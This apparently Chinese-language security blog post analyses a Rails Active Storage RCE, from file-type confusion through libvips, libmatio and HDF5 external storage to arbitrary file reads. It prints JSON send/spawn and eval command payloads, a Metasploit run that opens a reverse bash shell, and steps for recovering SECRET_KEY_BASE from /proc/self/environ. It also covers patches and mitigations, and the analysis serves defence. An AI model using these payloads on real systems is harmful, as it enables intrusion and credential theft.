Announcement

👇Official Account👇

Welcome to join the group & private message

Article first/tail QR code

Skip to content

CVE-2026-66066 Rails Active Storage RCE 深度分析:MATLAB→HDF5 文件读取到 ImageProcessing send/spawn 代码执行

CVSS 9.5 | Metasploit 模块已公开 | 无需认证 | 不依赖 Marshal 反序列化

引言

2026 年 7 月 29 日,Ruby on Rails 项目发布安全公告,修复了 Active Storage 中一枚编号为 CVE-2026-66066 的严重漏洞。初看公告,它描述的是"任意文件读取"——但 Rapid7 的安全研究员 Jonah Burgess 在 8 月 3 日发布的技术分析揭示了一条完整的、不需要 Marshal 反序列化 gadget 的远程代码执行攻击链。

这条被 Ethiack 和 GMO Flatt Security 独立发现并命名为 KindaRails2Shell 的攻击链,精巧之处在于它利用了两个组件对同一文件的不同解读:Rails 认为它是一张 PNG 图片,libvips 认为它是 MATLAB 数据,而 libmatio 进一步将其解析为 HDF5 容器——其外部存储机制恰好能读取攻击者指定的任意文件路径。

本文基于 Rapid7 的权威技术分析,从根因一步步拆解整条攻击链。

漏洞速览

项目详情
CVE 编号CVE-2026-66066 (KindaRails2Shell)
CVSS 评分9.5 (Critical)
发现者Ethiack (André Baptista, Bruno Mendes, Rafael Castilho) + GMO Flatt Security (RyotaK)
影响组件Rails Active Storage (libvips 处理管道)
受影响版本Rails < 7.2.3.2、8.0.0 - 8.0.5、8.1.0 - 8.1.3
必要条件libvips 暴露 matload 操作(含 HDF5 支持)、应用接受不可信文件上传
攻击向量网络 (AV:N),无需认证 (PR:N),无需用户交互 (UI:N)
Metasploit 模块exploit/multi/http/rails_activestorage_vips_rce(jburgess-r7 提交)
RCE 机制无 Marshal 反序列化 —— ImageProcessing send → spawn/eval

根因:两次信任失败

整条攻击链的本质是两层信任分歧

第一层分歧:Rails vs libvips - "这是什么文件?"
  Rails   → 读数据库 content_type 字段 → "image/png" → 允许变体处理
  libvips → 读磁盘文件字节             → "MATLAB 5.0" → 调用 matload

第二层分歧:libvips vs libmatio - "哪个 MAT 版本?"
  libvips → 检查前 10 字节             → "MATLAB 5.0" 匹配 → 进入 MAT 处理
  libmatio → 检查字节 124-125 的版本号  → 0x0200 = MAT_FT_MAT73 → HDF5 读取器

没有任何代码在这两层之间进行协调。 Rails 信任数据库中存储的类型标签,libvips 信任磁盘上的字节,而 libmatio 又使用不同的字节偏移来决定实际使用的解析器。这个分歧链的终点是 HDF5 的 External File List 机制——一种"数据存储在外部文件"的功能——被滥用为读取任意系统文件的通道。

攻击链:五步从上传到 RCE

[攻击者]

  │ 1. 创建 direct-upload blob, content_type = image/png

[Rails 存储 blob 为"图片",不检查文件字节]

  │ 2. 从同一应用窃取一个合法的 variation_key

[Rails 独立验证 blob ID 和 variation key,不交叉校验]

  │ 3. image_processing 将本地临时文件路径交给 libvips

[libvips matload]

  │ 4. 字节 0-9 匹配 "MATLAB 5.0"

[libmatio]

  │ 5. 字节 124-125 包含 MAT_FT_MAT73 (0x0200)

[HDF5 external storage]

  │ 6. 数据集字节来自攻击者选择的路径 + 偏移量

[渲染为 PNG representation]

  └─► 目标文件字节以图像像素形式返回

第一步:伪造 content_type 绕过图像门控

Rails 提供了 ActiveStorage::DirectUploadsController#create 端点用于客户端直传。在受影响的版本中,该端点直接从请求体中接受 content_type 参数,不做任何服务端文件内容验证:

ruby
# ActiveStorage::DirectUploadsController
def create
  blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args)
  render json: direct_upload_json(blob)
end

def blob_args
  params.expect(blob: [:filename, :byte_size, :checksum, :content_type, metadata: {}]).to_h.symbolize_keys
end

content_type 从客户端直接取值,写入 blob 数据库记录。Rapid7 验证了如果通过普通 multipart 表单上传同一构造文件,Rails 会在变体处理前用 Marcel 将其重新识别为 MATLAB 数据——但 direct-upload 路径完全跳过服务端文件类型检测。

当应用后续处理变体时,Blob#variable? 仅做数据库值的集合成员检查:

ruby
def variable?
  ActiveStorage.variable_content_types.include?(content_type)  # 只检查数据库值!
end

一个以 image/png 存储的构造 .mat 文件因此畅通无阻地进入图像变体管道。

第二步:重放合法 variation_key

Rails 的 representation 路由将签名的 blob ID 和签名的 variation key 作为独立参数接收,分别用 MessageVerifier 验证签名——但不检查二者是否属于同一 blob

ruby
def set_blob
  @blob = blob_scope.find_signed!(params[:signed_blob_id] || params[:signed_id])
end

def set_representation
  @representation = @blob.representation(params[:variation_key]).processed
end

攻击者只需从同一应用已发布的任何图片 URL 中复制一个合法的 variation_key(例如从首页 logo 的缩略图 URL),然后将其重放到攻击者自己刚创建的恶意 blob 上。文件读取阶段不需要 secret_key_base,只需一次重放。

第三步:libvips 选择 MATLAB 加载器

image_processing 将临时文件路径交给 libvips,此时未指定具体的加载器。libvips 的文件嗅探器 vips__mat_ismat 只做一项极其宽松的检查:

c
int vips__mat_ismat(const char *filename)
{
    unsigned char buf[15];
    if (vips__get_bytes(filename, buf, 10) == 10 &&
        vips_isprefix("MATLAB 5.0", (char *) buf))
        return 1;
    return 0;
}

只需文件前 10 字节为 MATLAB 5.0,libvips 就选择 matload 操作。注意:真正的 MAT 7.3 文件以 MATLAB 7.3 MAT-file 开头,是通不过这个检查的。 这个门槛低得惊人的嗅探器正是攻击者的入口。

第四步:libmatio 从不同的字节偏移读取版本号

libvips 将文件移交给 libmatio 后,libmatio 并不使用开头的 "MATLAB 5.0" 文本来决定解析器。它从字节 124 和 125 读取一个固定的两字节版本字段:

c
// libmatio Mat_Open()
bytesread += fread(mat->header, 1, 116, fp);
mat->header[116] = '\0';
bytesread += fread(mat->subsys_offset, 1, 8, fp);
bytesread += 2 * fread(&tmp2, 2, 1, fp);    // 字节 124-125 → 版本号!
bytesread += fread(&tmp, 1, 2, fp);          // 字节 126-127 → 端序标记

if (128 == bytesread) {
    // ... 端序检测 ...
    mat->version = (int)tmp2;
    if ((mat->version == 0x0100 || mat->version == 0x0200) && -1 != mat->byteswap) {
        // MAT 5 或 MAT 7.3 格式确认
    }
}

关键常数:

c
enum mat_ft {
    MAT_FT_MAT73 = 0x0200,  // MATLAB 7.3 → HDF5 容器
    MAT_FT_MAT5  = 0x0100,  // MATLAB 5
    MAT_FT_MAT4  = 0x0010,  // MATLAB 4
};

当构造文件的字节 124-125 为 0x0200 时,libmatio 进入 MAT 7.3 (HDF5) 处理路径:

c
static int ReadData(mat_t *mat, matvar_t *matvar) {
    if (mat->version == MAT_FT_MAT5)
        return Mat_VarRead5(mat, matvar);
    else if (mat->version == MAT_FT_MAT73)
        return Mat_VarRead73(mat, matvar);  // 进入 HDF5 读取器
    // ...
}

HDF5 userblock 机制使这一切成为可能:构造文件在 512 字节前导块中放置伪造的 MAT 头部信息(满足 libvips 的 "MATLAB 5.0" 检查),之后放置合法的 HDF5 超级块和外部存储条目。

第五步:HDF5 External File List → 任意文件读取

HDF5 数据集有一个合法功能叫 External File List——将数据存储在一个外部文件中,并指定路径和字节偏移量。libmatio 最终通过 HDF5 的 H5Dread 读取这些数据:

c
static int Mat_H5ReadData(hid_t dset_id, hid_t h5_type, 
                           hid_t mem_space, hid_t dset_space, 
                           int isComplex, void *data) {
    if (!isComplex) {
        herr = H5Dread(dset_id, h5_type, mem_space, dset_space, 
                        H5P_DEFAULT, data);
    }
}

这条读取路径在调用 H5Dread 之前不检查 H5Pget_external_count()。HDF5 库解析外部存储条目,将攻击者指定文件(例如 /proc/self/environ)中的字节复制到 MAT 变量的数据缓冲区。libvips 随后将这些字节视为图像像素,Active Storage 在渲染后的 PNG representation 中返回它们。

文件读取效果:攻击者下载变体图片,从像素中恢复目标文件内容。Ethiack 发布的 1x1 像素 oracle 是字节精确的;Rapid7 的模块进一步使用 20x20 布局,在文件字节之间插入 /dev/zero 列,通过反转 image_processing 的垂直锐化每次请求恢复 180 字节。

RCE 阶段:ImageProcessing send/spawn

文件读取恢复 secret_key_base 后,攻击者不再需要重放 variation key——可以自己签名。但 RCE 的入口在于第二个独立的漏洞

ActiveStorage::Variation#operations 中,MiniMagick 路径的转换名称经过了验证,而 Vips 路径不做方法名校验。image_processing 的 Chainable#apply 方法通过 public_send 调用攻击者控制的转换名称:

ruby
def apply(operations)
  operations.inject(self) do |builder, (name, argument)|
    if argument == true || argument == nil
      builder.public_send(name)
    elsif argument.is_a?(Array)
      builder.public_send(name, *argument)   # ← 这里!
    elsif argument.is_a?(Hash)
      builder.public_send(name, **argument)
    else
      builder.public_send(name, argument)
    end
  end
end

namesendargument["spawn", "/bin/sh", "-c", "id"] 时,执行流程是:

ruby
builder.public_send(:send, "spawn", "/bin/sh", "-c", "id")
# → builder.send("spawn", "/bin/sh", "-c", "id")
# → Kernel#spawn("/bin/sh", "-c", "id")   ← 命令执行

这个 RCE 路径不需要 Marshal 反序列化 gadget 链。 攻击者控制的全部数据是 Hash、Array 和 String 结构。Rapid7 在配置了 config.active_support.message_serializer = :json(Rails 默认)的 Rails 8.0.5 上验证了此路径。

等效 payload 示例:

json
{"send": ["spawn", "/bin/sh", "-c", "id"]}
{"send": ["eval", "File.write('/tmp/kr2s', %x{id})"]}

执行发生在管道构建期间——representation 请求在 payload 执行后返回 HTTP 500(因为 spawn/eval 返回的是非构建器值),但这不影响代码已在服务端执行。

Metasploit 复现

Rapid7 研究员 jburgess-r7 提交的模块 (exploit/multi/http/rails_activestorage_vips_rce) 完整自动化了整个攻击链。以下是官方技术分析中公开的真实输出:

bash
msf6 > use exploit/multi/http/rails_activestorage_vips_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(rails_activestorage_vips_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(rails_activestorage_vips_rce) > set RPORT 3003
RPORT => 3003
msf6 exploit(rails_activestorage_vips_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(rails_activestorage_vips_rce) > run

[*] Running automatic check ("set AutoCheck false" to disable)
[+] Selected the 20x20 sharpened text-read layout (180 bytes per request)
[+] The target is vulnerable. Recovered /proc/version with the 20x20 sharpened layout
[*] Reading up to 65536 bytes from /proc/self/environ
[*] Detected SHA1 Active Support verifier signatures
[*] Detected the Active Support json message serializer
[*] Validated SHA256 key derivation against a signed blob ID
[*] Stored recovered environment bytes in:
    /home/user/.msf4/loot/20260731004237_default_127.0.0.1_rails.process.en_047300.bin
[+] Recovered SECRET_KEY_BASE from /proc/self/environ
[*] Triggering the ImageProcessing send/spawn variation
    using a verifier key derived from /proc/self/environ
[*] Command shell session 1 opened

msf6 exploit(rails_activestorage_vips_rce) > sessions -i 1 -c id
[*] Running 'id' on shell session 1 (127.0.0.1)
uid=1000(rails) gid=1000(rails) groups=1000(rails)

输出要点解读

  • 20x20 sharpened text-read layout:模块使用 20x20 像素布局,每次恢复 180 字节文本
  • SHA1 / SHA256 分别指不同用途:SHA1 用于签名 blob ID 的 MessageVerifier 摘要,SHA256 用于推导 Active Storage key 的密钥生成器摘要
  • 模块在密钥恢复期间自动用候选密钥验证真实的 Active Storage 签名
  • RCE 路径明确标注为 ImageProcessing send/spawn variation

影响面分析

需要满足的条件(比公告描述的更窄):

  1. 部署的 libvips 暴露 matload 操作(编译时需启用 MATLAB/HDF5 支持)
  2. 应用保留攻击者提供的 content_type(即使用 direct-upload 端点)
  3. 应用有可访问的 representation 端点(默认路由即包含)
  4. 仅 direct-upload 路径受影响——普通服务端 multipart 上传中 Rails 会用 Marcel 重新识别文件类型

Rails 6.0-6.1 在手动配置 Vips 为变体处理器时同样受影响。

补丁分析

修复版本:7.2.3.2 / 8.0.5.1 / 8.1.3.1

补丁不添加额外的 content-type 检查,而是在 Active Storage 初始化阶段调用 Vips.block_untrusted(true) 禁用 libvips 标记为不可信的所有操作:

ruby
# activestorage/lib/active_storage/vips.rb(新增文件)
if ActiveStorage::VIPS_AVAILABLE
  begin
    require "image_processing/vips"
  rescue LoadError
  end

  unless Vips.respond_to?(:block_untrusted)
    raise <<~ERROR.squish
      libvips's unfuzzed operations are not safe to use with untrusted content,
      and Active Storage cannot disable them. Disabling them requires libvips
      8.13 or later and ruby-vips 2.2.1 or later.
    ERROR
  end

  Vips.block_untrusted(true)   # 全局禁用不可信操作
end

由于 matload 被标记为 VIPS_OPERATION_UNTRUSTED,libvips 在构造文件到达 libmatio 之前就跳过了它。打补丁的 Active Storage 要求 libvips ≥ 8.13 + ruby-vips ≥ 2.2.1,否则拒绝启动。

防御方案

1. 立即升级(首选)

bash
# 检查当前版本
bundle list | grep rails

# 升级到修复版本
bundle update rails --conservative

# 确认 libvips 版本
vips --version    # 必须 ≥ 8.13

# 验证应用能正常启动
rails server

2. 临时缓解(无法立即升级时)

bash
# 设置环境变量阻止 libvips 不可信操作
export VIPS_BLOCK_UNTRUSTED=1

# 或在 Ruby 初始化器中设置(需 ruby-vips ≥ 2.2.1)
# config/initializers/vips.rb
Vips.block_untrusted(true)

3. 轮换所有密钥(必须!)

文件读取阶段可能已经泄露了以下内容:

bash
# 生成新密钥
rails secret
export SECRET_KEY_BASE=$(rails secret)

# 必须轮换的密钥清单:
# - SECRET_KEY_BASE
# - RAILS_MASTER_KEY 和它解密的 credentials
# - 数据库密码、S3/GCS/Azure 存储凭据
# - 所有第三方 API 密钥(Stripe、SendGrid、AWS 等)

4. 取证检查

Rails 发布了取证工具,可以检查应用是否曾被漏洞利用:

bash
# 搜索 Active Storage 中可能存在的构造文件
bin/rails runner 'ActiveStorage::Blob.where.not(content_type: nil).find_each { |b| ... }'

⚠️ 由于 Active Storage 会定期清理未关联的 blob,取证证据可能已被删除,建议尽快进行。

漏洞根因总结

这个漏洞不是单一失误,而是信任链断裂的典型案例:

Rails 信任 content_type ──→ 不检查字节


libvips 信任字节前 10 字符 ──→ "MATLAB 5.0" = MATLAB 文件


libmatio 不信任开头的文本 ──→ 读字节 124-125 的版本号


HDF5 外部存储 ──→ 读取攻击者指定的任意文件

每一层都信任不同的数据来源,没有任何一层验证数据是否值得信任。当一个文件可以同时是 PNG、MATLAB 5.0 和 MAT 7.3 HDF5 容器时,安全取决于组件间的一致性——而这种一致性从未得到保证。

参考资料


声明:本文仅用于安全研究和防御目的。请勿将本文内容用于未授权的渗透测试或攻击行为。所有技术细节均来自 Rapid7 公开的技术分析。

上次更新于: